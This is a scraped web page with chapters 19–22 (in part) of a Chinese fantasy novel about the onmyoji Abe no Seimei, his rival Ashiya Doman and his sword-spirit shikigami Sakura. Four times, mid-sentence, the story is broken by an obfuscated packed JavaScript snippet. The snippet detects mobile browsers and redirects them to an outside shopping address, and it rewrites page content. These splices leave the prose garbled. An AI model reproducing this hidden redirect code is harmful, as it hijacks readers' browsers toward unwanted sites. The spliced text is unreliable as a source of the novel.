但实际上,她的身体微微朝向晴明倾斜着,全身紧绷,这样一来,当陡遭惊变之时,她就可以及时地做出反应。 “什么事?”晴明冷着脸。 卢屋道满快步走到晴明身边,笑问:“你就不想知道你父亲为什么会死吗?” 不出卢屋道满所料,晴明听了这句话,神请有些不自然。 但也只是一瞬间而已,很快晴明就恢复了常态,冷冷地盯着卢屋道满,说:“像你这种疯子,做出什么事都不奇怪。” “因为我是疯子,所以就可以随便杀人——你是这个意思对吧?”卢屋道满笑着笑着,忽然正色道:“如果我没记错的话,你我今天这是第一次见面,你叫我疯子,可你真的知道我是什么样的人吗?” 晴明抿着嘴唇不说话,卢屋道满便自顾自地继续说了下去:“你对我这个人的一切判断都是来自于你的师傅贺茂忠行对吧?他会诋毁我倒也不是件奇怪的事,毕竟我们现在算是政敌嘛,对待敌人当然要不遗余力地毁谤——关于这一点,谁都不可能免俗。” “至于我为什么要和你说这些,晴明,你年纪还小,别人如果想利用你、牵着你的鼻子走简直太容易了,不过你自己可要好好看清楚,究竟谁才是敌人。”卢屋道满轻轻用折扇叩了叩掌心,微微弯下腰来,与晴明对视:“比如说,你想想看,你的师傅贺茂忠行,他为什么一定要收你为徒呢?只是因为你的天赋?就这么简单?” “任何一个稍微有点常识的阴阳师都知道,收一个半妖为徒是多么危险的事,稍有不慎,连他自己都会身败名裂。”卢屋道满微微一笑,仿佛一切都在他的掌握之中:“那你有没有想过,贺茂忠行为什么要冒这种风险呢?只是惜才之心?你相信这种鬼话?” “你是想说我的师傅心怀鬼胎是吗?”晴明沉默了一会儿,也笑了起来:“刚刚连你自己都说了,为了打击政敌,任何人都会想尽办法,那么也就意味着你也会这么做。” “如果我真的听了你的话,而去与我师傅作对——或者说只需要生出疑心就够了。”晴明挑衅般的挑了挑眉毛:“那岂不是就正中了你下怀?” “原本我还在担心,担心我师傅是不是出了什么事。”晴明微微眯起了眼睛,这让他的面孔看起来像极了一只狐狸:“不过,看到你还在这样费心费力地想让我和师傅之间生出嫌隙,那我就放心了。” 晴明转身欲走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479497|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没走几步,又回过头来说:“这一次,倒是要多谢你带上山的那些武士了,想来,他们应该不会吝于同人讲述我封印天狗的经过的。” 看到卢屋道满难看的脸色,晴明心情很舒畅地笑了起来。 还有什么比看到仇人吃瘪更高兴的事吗? 但卢屋道满又怎么会是愿意吃亏的人?更何况这次还是折在一个孩子的手里。 他当即毫不客气地说道:“晴明,你究竟是不想知道你父亲的死因,还是不敢知道?” 晴明停下了脚步。 卢屋道满嘴角一勾,这就是他下山途中一直在考虑的事了。 看起来,他猜对了。 “你是在害怕,对不对?”卢屋道满刻意把自己的声音压得很低,甚至带上了几分蛊惑的意味:“你是怕安倍君真的做了什么恶事,以至于我恨他到想要亲手杀了他。” “你害怕知道真相,害怕真相会让你没有办法向我复仇,也害怕万一突然知道自己的父亲是一个恶人。”卢屋道满越走越近,脸上的笑容也越来越诡异:“我没说错吧?安倍晴明?” 卢屋道满走到距离晴明一步远的地方便没办法再往前了,因为晴明身边一直默默不语的樱突然发难,她抬起手臂,纤细修长的指尖抵住了卢屋道满的咽喉。 只是很简单的一个动作而已,卢屋道满只需要轻轻一挥就能把樱的手臂挡开。 但他没那么做。 因为他感觉到了喉咙的一阵刺痛,不像是被女孩的手指抵住,倒像是有刀锋按在了他颈间。 那只手其实是很漂亮的,白皙润泽,近乎于完美。 但如果这样的一只手上沾满了肃杀之气,那就完全另当别论了。 “别再往前了。”樱冷冷地说,同时抬起另一只手举到眼前,好像是在欣赏自己樱粉色的圆润指甲。 那只手…… 樱的手指末端起初还如正常人类的手指一般粗细,但随着樱抬起手腕的动作,五指渐渐变得又尖又长,而且在阳光的折射下,它们亮得晃眼! 而抵在卢屋道满喉间的东西,想来也是同样的利器。 “看清楚了吗?”樱的脸上没有表情,冷得摄人,就像她手指尖的刀子:“如果你再靠近的话,我的手就要切开你的喉咙了。” 面对这种威胁,卢屋道满竟然笑了起来,一边笑,他一边说:“还真是有趣的式神,我原本还以为你只是普通的小樱花呢!” “让我猜猜……”卢屋道满略退了半步,避开樱的刀刃:“是刀剑的付丧神?” “那么,到底是你吞噬了刀剑的付丧神,还是付丧神吞噬了你呢?”卢屋道满作势要唤出犬神,晴明脸色一变,迅速抓住樱的胳膊,把她拉到了自己身后。 “后会有期咯,阴阳师晴明。”卢屋道满大笑着,转身就走。 最后只留下一句话:“既然你不想知道安倍君的死因,那这件事就此作罢。不过,如果你执意要报仇的话,那就不要怪我不遵守和安倍君之间的承诺了。” “毕竟,我还是要自保的嘛。” 20.第二十章:狼王丸 樱原本不是妖。 她只是一棵樱花树,是一片樱花林中,毫无特点的一员。 芸芸众生中的一员。 但是有一天,她不知怎么,就化成了妖怪,一个满身血迹的少年来到她身边,手里握着一把被血浸透的符纸,他的血滴滴答答,渗进了樱脚下的土地。 那个名叫安倍晴明的少年犹豫了很久,最后给了她一个名字。 樱。 成妖之前,樱没有记忆,她只知道晴明给了她名字,只知道自己是晴明的侍女,要保护晴明。 只有晴明记得,樱到底是怎样化成妖怪的—— 她吞噬了一个刀剑形成的付丧神。 那把刀的名字叫作狼王丸。 晴明独自在外的这段时间里,封印过不少妖鬼,但它们的危险性都远远不如这把狼王丸。 因为这把刀受过数十年的香火供奉,已经几乎触碰到了神明的境界。 虽然说到底,神与妖和鬼也不过是同样性质的东西而已,但是近似于神明的东西总归还是要更棘手一些的。 相传,狼王丸的第一个主人在带着那把刀出行的时候,不慎撞上了群狼,而就当危急之时,太刀自动出鞘,只一刀,便斩下了狼王的头颅。 从此,这把刀便被命名为狼王丸,并被当地的山民视为神物,为其建造了神社,对其顶礼膜拜。 起初,狼王丸还肯庇佑它的信徒,时常会为遇险的山民斩杀野兽。 但实际上狼王丸并不是为了保护信徒,它只是喜欢饮血而已,保护信徒只是顺带的帮忙。 说到底,刀剑是煞气最重的东西,只有血液的沁润才是保养它们的最好方法。 时间一久,狼王丸的胃口越来越大,竟要求活人为祭,否则便要作祟杀人。 晴明听到这个故事的时候,冷笑了一声。 山民就是山民,竟然会把一个付丧神当作真正的神明。 就连真正的神明有时候都不免堕落变成妖怪,更何况这种来路不明的野神。 随后,他去了狼王丸的神社。 神社坐落在一片樱花林的深处,而当时的季节,刚好是樱花将要凋零的时节。 樱花即使开败了,也自有一种美感,自我毁灭一般的美。 这会儿的花瓣不再是盛开时的樱粉色,而是呈现出灰白,这种颜色很容易让人联想到死亡。 晴明从不断摇落花瓣的树下走过,他忽然想,如果这一次,他死在这里,或许也不错。 樱花为伴,每年一次的盛景。 也算是不亏了。 灰白色的花瓣纷纷而落,落在晴明月白色的狩衣上,便同它融为一色,晴明也无心拂去。 晴明一步步踏在柔软的花瓣上,发出细碎的声响,仿佛是樱花发出的叹息。 晴明在狼王丸的神社外停下脚步,摸了几张符咒出来。 符咒上用朱砂端端正正地绘着五芒星。 桔梗印。 正是这个印记让晴明在斩妖缚鬼的时候,无往不利。 晴明没有立即走进神社,而是先在神社外转了转,寻了几棵樱花树,把符咒贴在了树干上,又扶着树干低声念了几句咒。 不知道是不是狼王丸的传说给了晴明先入为主的印象,他总觉得神社附近的樱花树生长得更为繁茂。 就好像它们一直在吸收尸体作为养料一般。 晴明做完这些之后,才走进了狼王丸的神社。 神社不大,但看得出是时常翻新修葺的,显然山民们为了讨好这个“神明”,无所不用其极。 这样的话,也难怪最后会供奉出这样一个贪得无厌的怪物。 神社里清理得很干净,至少表面上看不到任何不堪的东西。 人血、人骨、人肉…… 这些统统都没有。 还是个很喜欢干净的神。 晴明冷笑,可惜,无论表面上如何粉饰太平,在他面前,都没有任何用处。 他一眼就看出了神龛里供奉的那柄修长的武士刀上缠绕着的血气。 那种血气根本不是通过斩杀普通的动物就能形成的东西。 只有杀人才行。 看起来,它已经不止一次品尝过人血的味道了,恐怕除了山民献上的活祭之外,它还杀过更多其他无辜的人。 “想要祭品?”晴明冷冷地说:“一个付丧神而已,你也配?” 这句话似乎刺激到了那把刀,它在神龛里自己振动起来,自动出鞘,寒光一闪,直朝晴明头上劈落下来! 晴明早有准备,身子一侧,避开了刀锋。 狼王丸只斩断了晴明的一绺头发。 但这也足够骇人了,因为这说明这把刀极其锋利,吹毛立断。 “好歹受了这些年香火,总不该只有这点本事吧?”晴明险险地又一次躲开狼王丸的劈斩,挑衅似的笑道:“如果只是这种程度的话,任何一个付丧神都做得到。” 狼王丸刀身剧烈地抖动起来,它好像被晴明的话激怒了,发出清脆的震响。 随后,狼王丸化成了人形,身量不高,看眉眼是个少年,眼神锐利凶狠,穿着件破烂的血衣。 晴明微微一笑,抬手丢出了一张符咒。 狼王丸此前从没见过阴阳师,不知利害,连躲也没躲,任由符咒贴在了它胸口中间。 然后,狼王丸发觉自己没办法再变回太刀原形了。 晴明的目的达到了,他把狼王丸封印在了这副人类躯体之内。 它变成了人类的模样,也就失去了它最大的优势——它没办法再随心所欲地劈砍了。 这种低级的激将法大概也只有狼王丸会上当了,它虽然算是个半神,但实质上还只是个低级的付丧神,心智很不成熟,很容易受人蒙蔽。 迄今为止,一切都很顺利,接下来要做的,就只剩下制服狼王丸了。 但是晴明发现,他还是低估了一个半神。 狼王丸确实没办法再变回太刀了,但是它全身任何一个部位都可以化身成刀。 晴明几乎没有与人缠斗的经验,他只是个阴阳师,手无缚鸡之力,没办法和一个全身上下都是刀子的人搏斗。 即使晴明身子灵活,他也很难避开狼王丸猛烈的攻势。 不过,在狼王丸接触到晴明的瞬间,一个巨大的阴影忽然挡在了晴明身前。 那是个深黑色的、看不清楚确切模样的影子,它带着一股浓烈的恶意,带着极其浓重的不详的味道。 它以最可怖的形式出现,却又确确实实地以一个保护者的姿态挡在了晴明前面。 被刀子刺中身体的是影子,惨叫起来的却是狼王丸。 狼王丸化成刀刃的手臂好像被影子吞噬掉了一样,齐根消失了。 血光飞溅。 这还是狼王丸第一次见到自己的血。 它竟然笑了。 它用另一只手承接着自己的血,然后递到唇边—— 刀总是嗜血的,无论那是谁的血。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484017|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>晴明顾不上去想那影子究竟从何而来,他趁着狼王丸分神的机会,夺路而逃。 影子从背后追了上来,从晴明身边轻飘飘地掠过,刮起了一阵阴冷的风,然后它消失了。 晴明没时间多想,因为狼王丸也追了上来。 他早先在神社附近布了阵,但这个阵法只能保证狼王丸不能从这里逃走,并不能帮忙解决掉它。 不过…… 也不是完全不能利用。 晴明大致辨认了一下方向,然后用他最快的速度,撒腿就跑。 他需要从狼王丸手里抢出一点时间来,修改符咒重新布阵。 手边没有朱砂,他就用自己的血来画符,抹去原先的咒印,再画上新的。 他借着樱花林的掩护,想法设法一次次绕开了狼王丸的追踪,为自己博得了机会。 等到他终于布阵完成的时候,他已经没有了再跑下去的气力,但他还需要再做最后一件事,那就是:把狼王丸引入阵眼。 他自己就是最好的诱饵,可这太危险了。 但是没有更多的时间给他犹豫了,狼王丸随时都会循着他的血迹找过来。 最后,晴明再次割开了自己的手掌,在阵眼附近的一棵樱花树的树干上飞快地描画了起来。 等狼王丸跟着鲜血的味道追寻过来的时候,一眼就看到了站在林中的晴明,狼王丸暴怒地吼叫起来,手指化刃,一刀刺去! 刀是刺进了晴明的身体,却没有一滴血流出来,而当狼王丸想要把自己的手指拔出来的时候,又发现自己根本拔不动。 “缚。” 又一个晴明从旁边走出来,他目光沉静地望着狼王丸。 狼王丸感到自己的力量在不断流失,但以它的头脑,根本想不明白为什么这个人可以同时出现在两个地方。 一个巨大的五芒星法阵出现在了狼王丸身下,晴明之前设置的每一张符咒都是五芒星的一个点位,它们彼此连接成线,形成了一个庞大的桔梗印,刚好把狼王丸困在其中。 而此时,另一个“晴明”现出了原形,那是一棵树干上画满了血色符咒的樱花树。 晴明刚才就是用它做了诱饵,而且成功骗过了狼王丸的眼睛。 晴明轻声叹了口气,慢慢靠倒了在自己身边的树上。 胜负已定。 晴明合上了眼眸。 等他再睁开眼睛的时候,狼王丸不见了! 晴明一惊,下意识地以为是狼王丸逃出了他的封印,但这是不可能的,就算狼王丸可以破开封印,那它的手臂仍然陷在樱花树干里面。无论如何,它都跑不掉的。 那么…… 晴明试探着走向那棵被他用作诱饵的樱花树,在树干上摸了摸。 树干上之前被狼王丸刺穿的痕迹已经找不到了,这棵树看起来和任何一棵普通的树都没有任何区别。 但是晴明清楚,这棵树和其他的完全不一样了。 他之前在狼王丸身上感受到的血气全部转移到了这棵树上,是樱花树吞噬掉了狼王丸?还是狼王丸吞噬掉了樱花树呢? 但总之,它们两个合而为一了。 “现成真姿。”晴明犹豫了很久,才又以血作朱砂,在树干上画了新的符咒,低声念出了咒语,唤它以人形现世。 神情冷漠的女孩在金色的光芒中现出了相貌。 这就是式神樱,她没有狼王丸的记忆,却拥有狼王丸化出刀刃的能力。 她成为了晴明最锋利的兵器。 21.第二十一章:避祸 晴明循着记忆,到了贺茂忠行的宅院前。 往日人来车往的宅院如今已是门可罗雀。 晴明眉头一蹙,他还是很了解自己师傅的能力的。 卢屋道满会对贺茂忠行造成这么大的影响? 联想起近日他看到的异常星象,晴明心中大致有了一点猜测,他抿了抿嘴唇,上前叩响了宅院的大门。 让他没有想到的是,来给他开门的不是别人,正是他的师兄,贺茂保宪。 “师兄?”晴明愣了愣,这种事情难道不是仆人该做的事吗? 和晴明的惊异比起来,贺茂保宪则显得惊喜很多:“晴明,你回来了?” 和三年前相比,晴明的面貌并没有太大变化,不过稍稍长开了些,也长高了不少。十四岁的少年,看起来已经像是个男人了。肤色白皙,眼眸细长,眼尾微微向上挑着,嘴唇很薄,又总是抿着,给人一种很冷淡的感觉。虽然消瘦了不少,但精神看起来很好,和三年前他离开平安京时的消沉完全不一样了。 晴明身上依旧穿着月白色的狩衣,衣服早已穿旧了,边角处稍稍有些泛黄,但仍然是清洗得很干净的。 而变化最大的,是晴明的气质,与之前迥然不同了。 他的气质更加内敛,好像成熟了不少,但神态看起来有些冷漠似的,喜怒不形于色,只有在开门看到贺茂保宪的瞬间才有了几分情绪变化。 同时,贺茂保宪也注意到了紧跟在晴明身后的、沉默的樱。 “这是……式神?”贺茂保宪稍稍有些意外地扬起了眉毛,随即侧身让开大门,笑道:“进来说吧,师傅一直很挂念你。也好给我和师傅讲讲,你这些年自己在外面的见闻。” 晴明和樱进了院子,贺茂保宪立即关上了大门。 晴明轻车熟路地穿过了开满浅蓝色桔梗花的小径,一边走,一边回头冲保宪笑道:“都过去三年 了,贺茂师傅还是没把桔梗花除尽吗?” 保宪闻言也笑了,点头说:“是啊,师傅为了它们可是煞费苦心,不过可惜,好像没什么用处。” 两人一起笑了起来。 只这两句对话,三年未见所造成的生疏感似乎都不见了。 好像这三年,晴明从未离开过。 他们依然还是从小一起长大的兄弟。 贺茂忠行独个儿坐在屋前的抱厦里,手边放着一堆书卷,他低垂着眼眸,不知在想什么。 他想得太过入神,连保宪和晴明走到了他面前,他都没有发觉。 “师傅!您看谁回来了!”保宪很高兴地高声嚷着,打断了贺茂忠行的沉思。贺茂忠行这才抬起头来,一看见保宪身后的晴明,又惊又喜,连忙站起身来,仔细打量那个被他寄予了厚望的孩子。 “贺茂师傅。”晴明微微一笑,躬身行礼:“晴明回来了。” 贺茂忠行忙伸手扶起晴明,点头笑道:“回来了就好,外面总归不如平安京里安全。” “不过,如今京中也不那么平安了。”贺茂忠行又说:“看到最近的星象了吗?” “我正是为此回来的。”晴明沉静地说:“京中一带星光渺茫,少则几月,多则几年之内,必招致大祸。” “是卢屋道满?”晴明又问,这话没说完整,但贺茂忠行也明白了晴明的意思,摇头道:“不能这样说,并没有直接的证据表明这样的星象与卢屋有关,但是……” 贺茂忠行用折扇敲了敲自己的下巴,说:“自从卢屋道满来平安京后不久,星象就发生了异变。 所以我想,多少还是与卢屋道满有些关联的。” 这时候,保宪在一旁插嘴道:“不能想办法阻止卢屋道满吗?” 在今天之前,贺茂忠行从没跟保宪提过星象异常的事,而保宪不精于占星一道,所以对这些事一概不知。 “怎么阻止?”贺茂忠行且笑且叹:“我们连卢屋道满在做什么都不知道,难道你要去对天皇和贵族们说:你看到了星象有变,兆京中将有大难?然后叫天皇再迁一次都?” 保宪不再说话了,而晴明接口道:“那如果卢屋道满死……算了,没什么。”晴明自觉失言,迅速改了口。 但贺茂忠行的脸色已经沉了下来,正颜厉色道:“你想做什么,晴明?” 晴明抬起手捂了捂耳朵,苦笑一声,像是已经料到了贺茂忠行接下来必定会进行一番长篇大论。 但贺茂忠行的脸沉了半晌,最后只是长叹一声,说:“你的确是有资格想要他死的,我也不说什么阻拦你的话,我相信你在这些年里,已经考虑得很清楚了。” “不过,你必须答应我一件事。”贺茂忠行缓缓地说:“无论如何,都不要对卢屋道满下恶咒,更不要命令你的式神去杀他。” 恶咒稍有不慎便会反噬己身,式神更是极度危险的东西——关于这一点,晴明当然十分清楚,他向来不是莽撞的性子,更没有和卢屋道满同归于尽的打算,自然不会选择太过激的方式。 晴明点头应了下来,贺茂忠行像是放心了,想了想,又笑道:“现在以你的能力,倒是可以去天 皇面前谋个差事,可惜我如今地位不比当年,没办法举荐。” 晴明听了便笑:“若不是师傅极力促成,原本倒也不致这等窘迫。” “你看出来了?”贺茂忠行意外地一挑眉毛,笑得意味深长。 “不难猜。”晴明微微一笑。 卢屋道满确实一定程度上威胁到了贺茂忠行的地位不假,但是以贺茂忠行的能力,至少要做到与卢屋道满分庭抗礼还是不难的。 但贺茂忠行几乎没做任何抗争,任由卢屋道满把原本属于他的权力给夺了去。 这是他的避祸之计,因为平安京的灾难将近,如果他继续在平安京中掌权的话,平安京的祸事就必定会被有心人归结到他头上,卢屋道满更不会放过这个打压他的好机会,所以唯一的解决办法,就是避祸。 这种做法很不光彩,这无异于是把平安京推到了最危险的境地,又把卢屋道满变成了众矢之的,但也没别的办法了。 贺茂忠行只是个阴阳师,不是神明,救不了所有人,他能做的,只有尽可能地保护身边的人不受伤害。 至于整个平安京,他无能为力,救不了,也保不住。 只能听天由命了。 “我替保宪选好了,他和我一起暂避风头,但我没资格替你选择未来。”贺茂忠行说:“你自己选。你想要什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16501602|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,只有你自己知道。” 贺茂忠行只是晴明的师傅,不是晴明的父亲,不能担负晴明的未来。 唯一有资格替晴明做决定的人已经不在这个世上了。 晴明笑了笑,说:“命运已经替我选好了,还铺了条路,不走的话,恐怕对不起命运的良苦用心。” 贺茂忠行不解其意,晴明便把他在那智山封印天狗却遇到卢屋道满的事说了一遍,并把天狗的武士刀和羽扇拿给贺茂忠行看。 “卢屋道满带去的武士多半不是寻常之辈,很可能都与贵族有些关联,想必用不了多久,你封印天狗的时候就会在平安京里传遍了。”贺茂忠行略沉吟一下,说:“卢屋道满定然是原本打算为自己立威,这机会却被你夺了去,以他的脾气,必定不会善罢甘休。” 都是老狐狸了,贺茂忠行自然是一眼就看穿了卢屋道满的小算盘。 “我不怕他,他会的东西我也会。”年轻人所特有的锐气在晴明身上显露了出来。 “你去吧,务必小心行事。”贺茂忠行知道自己劝不住晴明,深深叹了口气,说:“自己解决不了的事情不要逞强,卢屋道满这个人比你想象的还要危险。” “我知道了。”晴明又鞠了一躬。 “另外,还有一件事。”贺茂忠行朝晴明身后的樱抬了抬下巴:“它是怎么回事?” 晴明微微皱了皱眉,不是很喜欢贺茂忠行的措辞,他解释说:“这是樱。” “又给她取了名字?”贺茂忠行也皱起了眉毛:“我记得和你第一次见面的时候就说过,这种由名字而形成的咒对妖怪并没有什么约束力,远远不如式神契约安全。” “你小时候不懂事倒也罢了,为什么现在还会犯这种错误?” “可是,贺茂师傅。”晴明固执地抬起头争辩:“我认为,有些东西的约束能力比契约更强。” “我们和式神的关系绝对不该只局限于一纸契约上。” 贺茂忠行欲言又止,他想起了死去的座敷童子,明美。 或许晴明的话的确有几分道理。 “对了,贺茂师傅。”晴明忽又想起一事,他摘下脖颈上那串从不离身的勾玉,递给贺茂忠行,问道:“这是我偶然得到的,您看,这勾玉可有不妥?” 自狼王丸那件事过后,晴明反复考虑了那个影子的出现,不过想来想去,唯一的可能性就是这串勾玉。 或许只有在生死之间,勾玉才会发挥作用,让那个影子出现。 不过晴明不敢冒险去验证自己的猜测。 贺茂忠行接过勾玉,甫一入手,便被那勾玉上附着的恶意摄得一惊,脸色一下子变了,沉声道:“晴明,这勾玉原本的主人呢?” 晴明不解其意,道:“是我母亲在山林之中捡到的。” 贺茂忠行皱了皱眉头,把勾玉递还给晴明:“这是鬼骨制成的勾玉,没想到真的有人做这种事……” “鬼骨?”晴明和保宪皆是一怔,鬼死后身躯化为尘土,又何来鬼骨一说? “寻常的方法自然形不成鬼骨,”贺茂忠行深叹一声,摇了摇头,不再说下去,转移话题道:“此物阴气虽重,但也的确有护主之能,也算是有益无害,留下也好。” 22.第二十二章:樱与刃 晴明回到平安京,看望过贺茂忠行父子以后,就和樱一起回到了他曾和安倍益材住过的旧宅居住。 虽是三年未归,但因贺茂忠行时常叫贺茂保宪过来检视修葺的缘故,宅院并未荒芜,依旧还是三年前的模样,丝毫未改。 贺茂忠行将自家自家的仆人全部清退,以保持自己“失势难以维系家计的假象”,却一直没少了安倍家仆从的薪俸。 旧宅和旧仆,等待着昔日主人的归来。 晴明从庭院中穿过,恍然回到了往年,明美躲在房子的阴影处朝他微笑,用口型说着只有他们两个人听得懂的话,而父亲尽管寡言,但看到他回来,总还是高兴的。 风起,吹乱了蓝白相杂的桔梗花丛,也吹散了脑海中的幻象。 晴明在安倍益材的尸体曾躺过的位置附近停住了脚步,三年前就是在这里,他失去了父亲,紧接着又失去了明美,那个他一直当作妹妹对待的女孩子。 也许他不该回来的,旧物总是容易触景生情,三年中好不容易沉寂下来的情绪一下子全部卷土重来,压得他几乎喘不过气来。 他以为自己已经足够冷静到可以接受父亲的离世了,但终究是不够的。 忽然,一朵樱花撞进了晴明的视线。 紧接着,更多浅粉色的花苞在晴明眼前舒展开了花瓣,开得荼蘼,开得烂漫。 晴明下意识地往后一退,这才看清楚,那些花是从樱的手指尖处开出来的。 “晴明大人。”樱仍然举着自己的手臂,一贯冷淡的脸上此时带着几许担忧的神色,一朵朵新开出的樱花爬满了她的手指,还在渐渐往手背上蔓延。 她不明白晴明为什么会难过,但是她记得曾经那些翻山越岭来看樱花的旅人,也记得那些人赞叹的表情,所以,晴明看到这些花,应该就会重新高兴起来了。 樱不在乎任何人,她只关心自己面前这个给了她名字的少年是否平安喜乐,所以,从她拥有名字的那一刻起,她的樱花便只为晴明绽放。 “晴明大人。”樱又把手往晴明面前凑了凑,她看起来柔弱,却总是固执得让人毫无办法。 就像明美。 晴明忽然冒出了这个想法。 不过,这样的比较对她们两人都很不公平,不该拿着故去之人与生者相比较的。 晴明隐隐约约明白了樱这样做的用意,大概是想安慰他,这种不算是很聪明的方法倒是成功转移了他的注意力。 晴明伸出手去,在樱的手腕上一握,花瓣顿时纷纷而落,最后握在晴明手里的,依旧还是一只白皙润泽的手。 普通女孩子一般的手。 谁都想不到,这样的一双手之下竟然藏着这世间最锋利的刃。 就好像谁也想不到,重重叠叠的花瓣之下,竟然藏着刀子一样。 晴明的手指在樱细瘦的手腕上轻轻摩挲了一下,随即放开了。 他说:“我要你记住一件事,樱。你是我的侍女,不是我的武器,你不需要保护我,也不需要保护任何人,只要保护好你自己,那就足够了。” 我需要的不是冷冰冰的武器,而是一个活生生的陪伴我的人。 这是晴明曾经没来得及对明美说的话,以前他想不到这话,等到想说的时候,却已经没机会了。 即使不愿意承认,但晴明早已经把樱当作了明美的替代者,他很需要樱,因为只有樱才能帮他弥补一点对明美的愧疚。 晴明松手之后,樱的手臂自然垂落,她像是听不明白晴明的话一样,又把手化成了刀子。 她原本就是武器,她吞噬了狼王丸,它们两个早就合为一体了。 而狼王丸并不是什么心智成熟的妖怪,那棵樱花树则甚至连妖怪都谈不上,所以导致樱虽然看起来像是个十七八岁的少女,但实际上还像个孩子似的。 晴明无奈地摇了摇头,他也不期望樱能完全理解他的话,反正时间还长,他可以慢慢教给她。 晴明转身进了房,从今往后,他就要住在这里了。 不出晴明所料,他封印天狗的事传得飞快,天皇甚至召见了晴明几次,而在晴明的刻意表现下,晴明“天才阴阳师”的名号很快传遍了平安京。 天皇更是对年少成名的晴明大加赞赏,不过仅仅是这样还不足以动摇卢屋道满的地位,毕竟卢屋道满现在背后有大量贵族支持,而晴明孑然一身,根本没办法与卢屋道满的势力对抗。 不过晴明的目的也并不在于扳倒卢屋道满,他只要与卢屋道满站在同一个朝堂上,时时盯着卢屋道满,等待他复仇的机会,那就足够了。 他绝不会叫樱替他去冒暗杀的风险,而他自己更没有赢过卢屋道满的胜算,所以唯一的机会,就全部集中于平安京未来将会发生的那场灾难上。 晴明不相信平安京的灾难与卢屋道满无关,那个家伙一向都是唯恐天下不乱的脾气,当年初到平安京时,为了找到被贺茂忠行的隐匿咒藏起来的安倍益材,他甚至不惜对住在附近的所有人下咒,这就完全可以说明卢屋道满是个不择手段的疯子了。 而只要晴明弄清楚卢屋道满究竟做了什么引来灾祸,那他就有足够的理由向天皇请示杀死卢屋道满了。 但这种手段未免过于疯狂,因为这无疑是任由整个平安京陷入危难。 不过复仇本身不就是一件很疯狂的事吗? 如果要打倒一个极强大又不择手段的敌人,那么唯一的方法就是把自己变得更加不择手段。 仇恨总是有这样的力量:它可以把懦弱的人变得勇敢,也可以把善良的人变得丧心病狂。 而仇恨却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511417|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是从爱中滋生出来的东西。 那是恶之花啊。 随着晴明“天才阴阳师”的名号的传出,逐渐也开始有人拜访安倍宅,或是来求晴明驱鬼,或是来找晴明占卜吉凶,晴明自然是乐得帮忙。 这些人多数不是什么声名显赫的贵族,请不动卢屋道满,便“退而求其次”地过来找他,晴明倒是不在意旁人把他当作什么,横竖他也不是回来和卢屋道满争夺地位的。 他不过是需要依靠阴阳术来维系生计而已。 不知是不是晴明疑心太重,仿佛近日来平安京里的妖鬼作祟的次数比往年多了许多似的。 虽然都是些不入流的小妖怪,但总归不是个好现象。 晴明连日里忙于奔走,不消多记。 这天一早,一个衣着并不十分华贵的男人怀抱婴儿,急匆匆地来到安倍府上敲门,满面焦急,连声嚷道:“晴明大人!请您看看我的女儿!” 晴明这会儿正坐在房前的抱厦里,微微眯着眼睛,目光扫过男人怀里的襁褓,眼睛便立即睁开了,他站起身接过婴儿细看。 那女婴像是才满周岁,生得白嫩,见了生人也不哭不闹,只睁大了一双黑琉璃似的眼睛,好奇地打量着晴明,还挥舞着小拳头,要往晴明脸上招呼。 很可爱的一个婴儿,但她脸上却沾上了一块手指甲大小的血迹,破坏了这个孩子身上的和谐感。 “晴明……大人?”女婴的父亲犹豫了一下,显然没有想到那个传闻中的“天才阴阳师”会如此年轻,但对女儿的担忧胜过了对晴明的怀疑,于是紧接着说:“晴明大人!这血不知是在哪儿沾上的,一直擦不掉,您看这……” “今天早上出现的?”晴明轻轻握了握女婴挥舞着的拳头,他倒是第一次见到这么小的婴儿,不由得微微一笑:“昨天夜里,听见什么响动没有?” “这个……”男人挠了挠耳朵,说:“我没听见什么,但我的大女儿凉子说,她好像模模糊糊地听到了鸟叫。” 晴明用指腹抹去了婴儿脸上的血迹,用手指捻了捻,血迹尽管已经干涸,但手指间仍有粘腻的感觉。 